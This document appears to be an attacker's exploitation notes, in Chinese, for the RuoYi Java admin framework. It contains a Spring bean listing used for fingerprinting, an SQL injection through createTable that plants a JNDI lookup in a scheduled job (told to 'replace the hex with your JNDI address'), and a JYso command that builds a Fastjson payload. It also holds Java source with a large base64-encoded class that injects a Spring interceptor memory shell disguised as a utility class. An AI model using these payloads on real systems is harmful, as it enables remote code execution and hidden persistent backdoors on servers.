"com.ruoyi.web.controller.demo.controller.DemoOperateController" "dispatcherServletRegistration" -> "org.springframework.boot.autoconfigure.web.servlet.DispatcherServletRegistrationBean" "sysMenuMapper" -> "com.sun.proxy.$Proxy283" "expanderPattern" -> "springfox.bean.validators.plugins.parameter.ExpandedParameterPatternAnnotationPlugin" "sysMenuServiceImpl" -> "com.ruoyi.system.service.impl.SysMenuServiceImpl" "serverController" -> "com.ruoyi.web.controller.monitor.ServerController$$EnhancerBySpringCGLIB$$fe7bf21f" "operationParameterHeadersConditionReader" -> "springfox.documentation.spring.web.readers.operation.OperationParameterHeadersConditionReader" "descriptionResolver" -> "springfox.documentation.spring.web.DescriptionResolver" "tomcatServletWebServerFactory" -> "org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory" "org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration$MappingJackson2HttpMessageConverterConfiguration" -> "org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration$MappingJackson2HttpMessageConverterConfiguration" "liveReloadServerEventListener" -> "org.springframework.boot.devtools.autoconfigure.LocalDevToolsAutoConfiguration$LiveReloadServerEventListener" "spring.jackson-org.springframework.boot.autoconfigure.jackson.JacksonProperties" -> "org.springframework.boot.autoconfigure.jackson.JacksonProperties" "operationParameterRequestConditionReader" -> "springfox.documentation.spring.web.readers.operation.OperationParameterRequestConditionReader" "error" -> "org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$StaticView" "org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration" -> "org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration" "org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperConfiguration" -> "org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperConfiguration" "operationNotesReader" -> "springfox.documentation.swagger.readers.operation.OperationNotesReader" "webMvcOpenApiTransformer" -> "springfox.documentation.oas.web.WebMvcBasePathAndHostnameTransformationFilter" "org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$WhitelabelErrorViewConfiguration" -> "org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$WhitelabelErrorViewConfiguration" "decimalMinMaxPlugin" -> "springfox.bean.validators.plugins.schema.DecimalMinMaxAnnotationPlugin" "org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletConfiguration" -> "org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletConfiguration" "cachingModelDependencyProvider" -> "springfox.documentation.schema.CachingModelDependencyProvider" "org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration$TransactionTemplateConfiguration" -> "org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration$TransactionTemplateConfiguration" "sysNoticeController" -> "com.ruoyi.web.controller.system.SysNoticeController$$EnhancerBySpringCGLIB$$cbdbf78f" "defaultValidator" -> "org.springframework.validation.beanvalidation.LocalValidatorFactoryBean" "welcomePageHandlerMapping" -> "org.springframework.boot.autoconfigure.web.servlet.WelcomePageHandlerMapping" "sysLogininforServiceImpl" -> "com.ruoyi.system.service.impl.SysLogininforServiceImpl" "com.alibaba.druid.spring.boot.autoconfigure.stat.DruidFilterConfiguration" -> "com.alibaba.druid.spring.boot.autoconfigure.stat.DruidFilterConfiguration" "org.mybatis.spring.boot.autoconfigure.MybatisAutoConfiguration" -> "org.mybatis.spring.boot.autoconfigure.MybatisAutoConfiguration$$EnhancerBySpringCGLIB$$8caaf85f" "jacksonObjectMapper" -> "com.fasterxml.jackson.databind.ObjectMapper" "shiroConfig" -> "com.ruoyi.framework.config.ShiroConfig$$EnhancerBySpringCGLIB$$3871d2aa" "apiDocumentationScanner" -> "springfox.documentation.spring.web.scanners.ApiDocumentationScanner" "parameterDefaultReader" -> "springfox.documentation.spring.web.readers.parameter.ParameterDefaultReader" "schemaMapperImpl" -> "springfox.documentation.oas.mappers.SchemaMapperImpl" "modelSpecificationFactory" -> "springfox.documentation.schema.property.ModelSpecificationFactory" "sqlSessionTemplate" -> "org.mybatis.spring.SqlSessionTemplate"
看js得到版本
以后碰见若依用这个就行了 ,若果不行就是>4.7.8
1 genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e6c6461702e496e697469616c4c646170436f6e746578742e6c6f6f6b75702827726d693a2f2f3132372e302e302e313a313039372f6578702729 WHERE job_id = 1;' )
hex改成你的jdni地址的hex就行了
高版本jdk直接用 我的工具起一个恶意ldap去hook一下返回流就行了
1 2 生成恶意bin java -jar JYso-1.3.4-all.jar -y -g Fastjson1 -p "open ." -f fj.bn
内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 package com.ruoyi;import com.alibaba.fastjson.JSONArray;import com.alibaba.fastjson.JSONObject;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.rowset.JdbcRowSetImpl;import org.apache.ibatis.javassist.ClassPool;import org.apache.ibatis.javassist.CtClass;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Hashtable;public class fj { public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static void main (String[] args) throws Exception{ byte [] decode = Base64.getDecoder().decode("yv66vgAAADEBSAEAKG9yZy9zcHJpbmdmcmFtZXdvcmsvaXovU2VyaWFsaXphdGlvblV0aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQANZ2V0VXJsUGF0dGVybgEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACpMb3JnL3NwcmluZ2ZyYW1ld29yay9pei9TZXJpYWxpemF0aW9uVXRpbDsBAAIvKggADAEADGdldENsYXNzTmFtZQEAMm9yZy5hcGFjaGUubG9nZ2luZy5XZWJTb2NrZXRVcGdyYWRlT2t1a0ludGVyY2VwdG9yCAAPAQAPZ2V0QmFzZTY0U3RyaW5nAQAKRXhjZXB0aW9ucwEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBABBqYXZhL2xhbmcvU3RyaW5nBwAVAQ9ESDRzSUFBQUFBQUFBQUpWWENWd2MxUjMrSHJzd3k3SW1FUklpSmpHSG1pd3NzQ1FpU2NBRFNGQXdMSWtoRWtuYTJtRVpsZzNMN2pvN3kyWFVXby9hTTYyMWh6MXNtN2FtUjJ5ajBRVk0xZlJRVzN2Wnc5clcxbDcyMU5yMHJxMkszNXVaWFJaWVRQcjd3Y3pzZS8veisxL3ZQZjdLQXc4QldDOThBaHRpZXNpdnh0Vmd2K2FQeEVLaGNEVGszNjMxZE1hQ0E1cHhSVHlrcTczYTlvSGtRRnZVMFBTZ0ZqZGl1Z0loc0dTZk9xVDZJeXJKdDBUVVJLSTlSa0p1T1FRMlNwR0p1RTVSZmJvNnFBM0g5QUgvc05ialQyajZVRVF6L0UySjBXaXdWWTMyUmpSOWh0eDhnWUlMd3RHd2NaR0F3MXZlSmVEY0V1dlZCQmEyaDZOYVIzS3dSOU4zcVQwUnJoUzN4NEpxcEV2VncvSzN2ZWcwK3NNSmdkcjIvOStwQmc4VXVOeHdZb0hBbWQ3Mm5PNDFTSlBFbU1EU2VmYWxrRVZTU0FscHBrazZEUWxHY3pJY01URmE0a2FwVk9PTWsxTzZNcHVTY3M1QVdTSHljQ1lSVWVOeExkb3JVT1dkUzFnK1o4bldRaEhMc1VJcU9vdFlEbWlqSHF5eVJLNFdjQmt4aTFoZ3NYZXVDUEtlalhNazc3bmtIZXc5WDJEdEtla200enA0M1ZSU0xyOU1kY3d4Y1RuenhidTN1WHcyYWcwQ2VjRWVQdlkyQ3hUMWFuMk1zcmxCOUVqZjFqYVh3NFAxMkNBUlBvOXlSd1FVMHUwcGwvd2wwNlF0SXpLbzRWaFV3VWFTQmFuZUZEVGlEK3FqakxaL1N6amVUNHdZZ2lGVnIwMXZ6MkxtdHFBbFlwRC9leFRVMkNwbUNWSFFKSEJhcDZFR0J3SnEzRTVFUjFOTHB3dGI2VlJJTTlxaUNVT05CcmxjUGkrS3N5M3o0QkpjNmtZeldnVld6aUJJeExXZ3YxTUw2cHF4VFJ2dDVDOEZsd2tzbWkxWVFUc0RUZlhObzRaR041eGVvdVJCQjdhN0VjQU9DK0VjNW5USkhON3B4alowa2trV295UnRzeWdUV2pDcGg0MVJQMVdicEZlZ1MxcTVtNEhvalYwU2pxb1JKcXdNdGRUVmpUMXljNjlBWVZ6WHJJSVg2UFhhSHFmYlFiOWh4UDJ0ZkhSYUN6dTFxNU5hd21nNEtWa2lIb3NtdElZc0o3YjM3Tk9DUmtQNUhvRlYwNnRXQUl5d0txT2FsUnRYemFTS1JMU1FHbWtLQnJWRUlvdEtaZmo3WmxhcHJZWWI5Q2M3cGp1MXZnaDN3a1BhOXJpbXo5VFhJRXRaMTdjbkNlaEtpeWNjODh2b05PbTZPc3IxZU5KZ0ZEUjFrS1JLZ2xhUWl5Yk9qNE5KSWJPNFZ6Vm9wcUpieUFtc08wV0ltU0c2RFdQYWtWTUFuSnI2cmU0dGNOWnJHNmZnYW9GelQ4a1lCY3pTdGFkbWdvTGtqSlMzQXFKZ1dHREZheUtyWU5SV2N2S0FLYmhHd04ydnljN2V3VG5td2JWV1M3dU9DYzNDYWpWM1BIZ1R2RVV3Y0FPcjNTTHVVaU5KVXQ5b1VkOUVrSU94cUtHR28zUncyWXpSMHEvcW5kSjdkZ2NtclFlMzRDMnlPbStsWGlyb1RLZkFHbS81eVpMQWc3Zmg3ZEtNZHdoNHlMdERsYVBYa1BhOXk3THZBSzN1cWF2ZHFnWE5rVnFhcXhmSnFuMFBicE1kL0wwZW5JODYrZlUreGp1dWprWTQ0bHo0Z0NXK3lTQkhUOUxRVGo0YTdHTHg0QTU4cUFnNlBteTFKYnZQbDNoejlmaVA0azQzUnZBeFR2NVptd28rSWJBZ3pXK05YWUd5dVZJeUUvbVQrSlFiQi9GcDZVcUpCMVdvbGwrZm9SK0pHWDZzeStGSGp0YkNwdmM1ZkY0NmNwaFJpcWRoVHJqd0JZbnlZVGZHNUd3dmltckQwNDEvNXBUTklISXZqa3JUN3VPSkl5c2xrMnhWZzFwV0dxWUV6c2cyYmxlL0hodVdnOGJ1MWhOdWpHT1M3WVdwcEVZU2N0am02b2tlSE1PWEpLd1BXdm03bTUxY2dyYzBiUnlMWmdmZHRqZG8zOE00WG9RaGZKbjBpV1JQd2o0eWxIcG5EdWJNN1A4cXZpYXo5NUgwTEo0cFQ4RmpBdm5EOG51V2hWbWo1eHQ0M0kydjQ1dlNUQjQraW94WXBvdzkrSTZjWFdQNExrUFhveWEwdXRxV2FEcVhaeDR1TWhaOUQ5K1h3ZjZCVkRpZnpVOUttMy9FV0dZUUo0SXJaczI3QU10TURXbGJ3eUdyYlRvNGZ2a01iRDNmaGFkWjFhOUJyZURuQXV2bkw1SjVkTWdUd0MvY2VBYS9aR0FqV2pSazlKdUg0allQZm8zZlNKdWY1VVl5enRhdldjY2dSb1VJL2c2L2wxeC9ZTktaNGdkVm85L2ZIQTdKczI1SVJ1RlBaT3MxZFhqd3ZFVDBHZnhaRHUwMlltaW0wMS9jZUE0bjVCbndTZm4xTnpNTVYvQVFxbThoNmg3OFE1NE5BL2dudFZvQllBNFZXQUVST0QzSEdVOGVzdXA0eXVzaHNQbERzam5hemJzNmFZUWoxYzBtcXdzdlUyQmZ6R3kxbkJrbjZTcnBUakhGd09HZ0VGYkh0TzF4Q1Y1RGl2Zk9JVmRFdnBYNkFjM29qL0ZJM1poRHkxeTJiTDI2TlREOGxvUUdqMUNFU3hwUXlLVGZPN2ZxRkZIRTRwMlBYUkduRWJwd2RDZzJRSmMzNTZqYUhDSnpkUkt4VUN4eWl3WGlkUFpHemNSZ2wzM0Nkd2xlUlVvVHlXajFZRGdSckc1dTZteEoxdzFoV2lLYmh2bkRKWmJLTTV4bXgxT0NhVTBLVXNsTGlMWGpFc3ZuU3N2UThhYmhzZWlhazMxOWNtVVZlLzBGd1loOXBWT2F4aUpEK3dhRExuRTJFK0M4OWVyNnVwcSt6ZWZWYk42d29YZHpuVXV3NEJVT1pFMlhyT3Y0WTF0OExEd2FETHRFT1ZhempKMmdJY2hIb2J4YjhBTHJrcmNrODczS2ZBczVvTTMzamVhN2tGKzgxUEZaeUY5TmxDRDRMcWtZeDhLS0V1RzlIOWZ6VlhFL2JyNkh5M25NSTBCMkMvRG1WSXdWS09LWHgyTGgrelJUTUs5M3RyZ0lLU1Z0VFlWdkhJdG55anVHMHU1eExMMFh5MUpZZVMvVzhKbkMyZ2xVSEVYbHRLNEZjUEM1aXRKWHc0ODFwcjVTUzZhdFQzNmRUbHQ0MEpSenk5WjhJWUdRVklVVlBvZnZvWEhVSHNtSUxERE5YWnNscWpBanFwQktha3hSbk91MnFLZkk0ZVRiVjl3eWdiYU9xdVYzUUhFZWdqUC9HTFoxbTRaZlh0d3lqbDBwWEZubFMrRjFSenJFRVZNRnIzbllSUHZkcHFKOFBpc3Bxb3BlVkhQSGozS3Fra2JVY3ErQXE1dFJUK3B5bXRTQUMweS9mUm5EZlBTb3hwVHF3MFc0bURSYitFMnFLU3lFVTBHZWdrYWg4Q0loSDFQY3lsN2pSN09Zd2xJNDdFVkp0WW5TWG84M1VCS2R6UE9ZS1FPYzhGWGNoK3NuOGVZOFBJcG5wMy93NCtZVTNub0hudkJONHAwQzlVNGZJemVKZCtkaEFyZlg1MWVVNVR0U2VIOTlmcG16K0lPVCtFZ2VIc01hK1gwTWVkMFZLWHc4aGJ2R2NhZ3NQNFhQVHVKdUJ3N2hKbC94Rjh2eUozSEV3Wms3eGx5NHA3NGd3MzBjQjFPNHYxNDVoSVgxcm1NWTd5NXpqZU9CaDh1VXNvSVVIdHBkcHZqa3EzSVNYeEU4SVZRNkZpMUs0ZEVVdmxXbXBQQnRlNzFDMGo3aHBGa1QrQ0gzTXRTUytDa3VPQTQ3RDh1aktnN2dOcnpSZnZmWUVkdUp4WHpXTWU4Mk1pYWIrTnlNUmthb25kRVpZRFNTak1OMUxKZ0QyRXF1WnR6T2lOeUpGdHlGUzNFM1dua3VhTU1qdUF4UDg1YjRQRWZCQzlodVJydVAwZzlRUnhDOXJKVGIrVXZqbW91eW9naWhuNWx3SnkrZzFtNDVKWVN4aittM2thZVhBV2FBektJVG1hdzR3UW9iTkxQaUJMbGpaaktmUUp5OERqTS82cEQvTWdZVWNLSTFUakhsRlRQK25MWkRDa2FzWllXSEJXYkQvcGRReExVWEVYaVI4bjRzRTRqdlRXWWI4ZHFGd0p3M3M3Skd0QmYvYkFLL0NsUXlzSmM3K1BodENuODhodWU2blpVcHZEQ092MHFBLzU3Q3Y5ckpFdkRKYW1BR01mUFQxWEFXZlFOMmNiV0xudS9HRWx6Si9UMms2R1p0N0RWeFdrVmFGNnZpSXZ6RXJ2Y0x6WWFWUjRxZjhrdVlIcFlnYjRwczlDckFQeXV2YVN6UE5GWmlpNERaRFlIOU5QcVZDWkVYcUN3UlRuRmNGS1NFdTVKdlQwb1VkMVF4UVV2RVl1ZURPTmp0S0c3czVGNFZmNHgwT3lyNFhYd2NBWHJTMEZFaVNrMEpNak9kWlU2VDZZeHNwakxuSEs1OFZzb1JzdzFlekNUWlJLT1RQTGFsZ2RqQVVBSlhjYmVIemdiWlZIdEpGeUdsUnNvUTA2Y2ZPNWdDU1FaL2hJa3d4bkJMY0ZvSjRISWVQdjV0aHRyRnRQd1BYcVNVSFRqWFhIT1NzOXBlMjhMaythL2RVUGJqZndSU2dqaUdseklnbHNzMllyYUp4alNJVTJ5QVR2dTMyU3Y0bUowWnZBVFpJSGZiSU4rYUJmS3kzQ0N2c1BFS3pBVzUwZm9qYUUyRWV1VWNxRmRuczg2Q2VwcDNHdkFXd3JTSlZYZ0RicG9GK05YY1RSSzJJWUk0VExyclNUbEN5akVDZUExemNqOTVyaVBYdGJ4czNwQUZlTGtvc3dGdnRNSHRnczljYzVLejFsNXJZNmFtQWIrVmdGdFpld3NCcjhrR3ZOWE8ya1liOEFZSnVQazdOK0F1c1NZenAxdk1rcUNnRW5IT1VTd3JFV3VQWXMzSkpxcklURzhQYmZMaVRPQlZHQytNcytZV0FBQT0IABcBAAY8aW5pdD4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYMABkAGgoAFgAbAQADKClWAQAHY29udGV4dAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAC2ludGVyY2VwdG9yDAAZAB0KAAQAIQEACmdldENvbnRleHQBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAIwAkCgACACUBAA5nZXRJbnRlcmNlcHRvcgwAJwAkCgACACgBAA5hZGRJbnRlcmNlcHRvcgEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgwAKgArCgACACwBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwAuAQARcmVxdWVzdEF0dHJpYnV0ZXMBAAtodHRwcmVxdWVzdAEAB3Nlc3Npb24BAA5zZXJ2bGV0Q29udGV4dAEAE2FwcGxpY2F0aW9uQ29udGV4dHMBABlMamF2YS91dGlsL0xpbmtlZEhhc2hTZXQ7AQASYXBwbGljYXRpb25Db250ZXh0AQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgcAOQEAEGphdmEvbGFuZy9PYmplY3QHADsBAA1TdGFja01hcFRhYmxlAQAQamF2YS9sYW5nL1RocmVhZAcAPgEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwAQABBCgA/AEIBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7DABEAEUKAD8ARgEAPG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5SZXF1ZXN0Q29udGV4dEhvbGRlcggASAEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMAEoASwoAOgBMAQAUZ2V0UmVxdWVzdEF0dHJpYnV0ZXMIAE4BAAxpbnZva2VNZXRob2QBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwwAUABRCgACAFIBAApnZXRSZXF1ZXN0CABUAQAKZ2V0U2Vzc2lvbggAVgEAEWdldFNlcnZsZXRDb250ZXh0CABYAQBCb3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuY29udGV4dC5zdXBwb3J0LldlYkFwcGxpY2F0aW9uQ29udGV4dFV0aWxzCABaAQAYZ2V0V2ViQXBwbGljYXRpb25Db250ZXh0CABcAQAPamF2YS9sYW5nL0NsYXNzBwBeAQAcamF2YXguc2VydmxldC5TZXJ2bGV0Q29udGV4dAgAYAEAXShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAUABiCgACAGMBADFvcmcuc3ByaW5nZnJhbWV3b3JrLmNvbnRleHQuc3VwcG9ydC5MaXZlQmVhbnNWaWV3CABlAQALbmV3SW5zdGFuY2UMAGcAJAoAXwBoCAA0AQAFZ2V0RlYMAGsAUQoAAgBsAQAXamF2YS91dGlsL0xpbmtlZEhhc2hTZXQHAG4BAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsMAHAAcQoAbwByAQASamF2YS91dGlsL0l0ZXJhdG9yBwB0AQAEbmV4dAwAdgAkCwB1AHcBADVvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5jb250ZXh0LldlYkFwcGxpY2F0aW9uQ29udGV4dAgAeQEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwAewB8CgA8AH0BABBpc0Fzc2lnbmFibGVGcm9tAQAUKExqYXZhL2xhbmcvQ2xhc3M7KVoMAH8AgAoAXwCBAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24HAIMBACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uBwCFAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcAhwEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uBwCJAQATamF2YS9sYW5nL1Rocm93YWJsZQcAiwEACWNsYXp6Qnl0ZQEAAltCAQALZGVmaW5lQ2xhc3MBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABWNsYXp6AQARTGphdmEvbGFuZy9DbGFzczsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247DAAOAAYKAAIAlQwAEQAGCgACAJcBAAxkZWNvZGVCYXNlNjQBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCDACZAJoKAAIAmwEADmd6aXBEZWNvbXByZXNzAQAGKFtCKVtCDACdAJ4KAAIAnwgAjwcAjgEAEWphdmEvbGFuZy9JbnRlZ2VyBwCjAQAEVFlQRQwApQCSCQCkAKYBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAKgAqQoAXwCqAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwCsAQANc2V0QWNjZXNzaWJsZQEABChaKVYMAK4ArwoArQCwAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsMALIAswoApAC0AQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAC2ALcKAK0AuAEAFmFic3RyYWN0SGFuZGxlck1hcHBpbmcBABNhZGFwdGVkSW50ZXJjZXB0b3JzAQAVTGphdmEvdXRpbC9BcnJheUxpc3Q7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAKUxqYXZhL3V0aWwvQXJyYXlMaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQAHZ2V0QmVhbggAvwEAHHJlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcIAMEIALsBABNqYXZhL3V0aWwvQXJyYXlMaXN0BwDEAQADYWRkAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaDADGAMcKAMUAyAEADGRlY29kZXJDbGFzcwEAB2RlY29kZXIBAAdpZ25vcmVkAQAJYmFzZTY0U3RyAQASTGphdmEvbGFuZy9TdHJpbmc7AQAUTGphdmEvbGFuZy9DbGFzczwqPjsBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyCADQAQAHZm9yTmFtZQwA0gBLCgBfANMBAAxkZWNvZGVCdWZmZXIIANUBAAlnZXRNZXRob2QMANcAqQoAXwDYAQAQamF2YS51dGlsLkJhc2U2NAgA2gEACmdldERlY29kZXIIANwBAAZkZWNvZGUIAN4BAA5jb21wcmVzc2VkRGF0YQEAA291dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAJpbgEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEABnVuZ3ppcAEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAZidWZmZXIBAAFuAQABSQEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtBwDqAQAcamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbQcA7AEAHWphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtBwDuCgDrACEBAAUoW0IpVgwAGQDxCgDtAPIBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMABkA9AoA7wD1AQAEcmVhZAEABShbQilJDAD3APgKAO8A+QEABXdyaXRlAQAHKFtCSUkpVgwA+wD8CgDrAP0BAAt0b0J5dGVBcnJheQEABCgpW0IMAP8BAAoA6wEBAQAFc2V0RlYBADkoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9PYmplY3Q7KVYBAAR2YXIwAQAEdmFyMQEAA3ZhbAEABGdldEYBAD8oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAQgBCQoAAgEKAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAQwBAANzZXQMAQ4AKwoBDQEPAQADb2JqAQAJZmllbGROYW1lAQAFZmllbGQBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7CgENALABAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwBFgEXCgENARgBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HARoBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAR0BHgoAXwEfAQANZ2V0U3VwZXJjbGFzcwwBIQB8CgBfASIKARsAGwEADHRhcmdldE9iamVjdAEACm1ldGhvZE5hbWUBAAFpAQAHbWV0aG9kcwEAG1tMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAApwYXJhbUNsYXp6AQASW0xqYXZhL2xhbmcvQ2xhc3M7AQAFcGFyYW0BABNbTGphdmEvbGFuZy9PYmplY3Q7AQAGbWV0aG9kAQAJdGVtcENsYXNzBwEpAQASZ2V0RGVjbGFyZWRNZXRob2RzAQAdKClbTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMATMBNAoAXwE1AQAHZ2V0TmFtZQwBNwAGCgCtATgBAAZlcXVhbHMMAToAxwoAFgE7AQARZ2V0UGFyYW1ldGVyVHlwZXMBABQoKVtMamF2YS9sYW5nL0NsYXNzOwwBPQE+CgCtAT8KAIgAGwEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uBwFCAQAKZ2V0TWVzc2FnZQwBRAAGCgCKAUUKAUMAGwAhAAIABAAAAAAADgABAAUABgABAAcAAAAtAAEAAQAAAAMSDbAAAAACAAgAAAAGAAEAAAAQAAkAAAAMAAEAAAADAAoACwAAAAEADgAGAAEABwAAABAAAQABAAAABBMAELAAAAAAAAEAEQAGAAIAEgAAAAQAAQAUAAcAAAAXAAMAAQAAAAu7ABZZEwAYtwAcsAAAAAAAAQAZAB0AAgAHAAAAYwADAAMAAAAVKrcAIiq2ACZMKrcAKU0qKyy2AC2xAAAAAgAIAAAAFgAFAAAAHQAEAB4ACQAfAA4AIAAUACIACQAAACAAAwAAABUACgALAAAACQAMAB4AHwABAA4ABwAgAB8AAgASAAAABAABAC8AAQAjACQAAgAHAAABfAAHAAcAAACQuABDtgBHTAFNKxJJtgBNEk+4AFNOLRJVuABTOgQZBBJXuABTOgUZBRJZuABTOgYrElu2AE0SXQS9AF9ZAysSYbYATVMEvQA8WQMZBlO4AGRNpwAETizHADgrEma2AE22AGkSargAbcAAb04ttgBzuQB4AQA6BCsSerYATRkEtgB+tgCCmQAGGQRNpwAETiywAAIACQBRAFQALwBZAIoAjQAvAAMACAAAAEYAEQAAACUABwAmAAkAKAAVACkAHQAqACYAKwAvACwAUQAuAFQALQBVADAAWQAyAGsAMwB2ADQAhwA1AIoAOACNADcAjgA6AAkAAABcAAkAFQA8ADAAHwADAB0ANAAxAB8ABAAmACsAMgAfAAUALwAiADMAHwAGAGsAHwA0ADUAAwB2ABQANgAfAAQAAACQAAoACwAAAAcAiQA3ADgAAQAJAIcAHgAfAAIAPQAAABwABf8AVAADBwACBwA6BwA8AAEHAC8ANEIHAC8AABIAAAAKAAQAhACGAIgAigACACcAJAACAAcAAAFUAAYABwAAAHq4AEO2AEdMAU0rKrYAlrYATbYAaU2nAGNOKrYAmLgAnLgAoDoEEjoSoQa9AF9ZAxKiU1kEsgCnU1kFsgCnU7YAqzoFGQUEtgCxGQUrBr0APFkDGQRTWQQDuAC1U1kFGQS+uAC1U7YAucAAXzoGGQa2AGlNpwAFOgQssAACAAkAFQAYAC8AGQBzAHYAjAADAAgAAAA2AA0AAAA+AAcAPwAJAEEAFQBLABgAQgAZAEQAJQBFAEMARgBJAEcAbQBIAHMASgB2AEkAeABM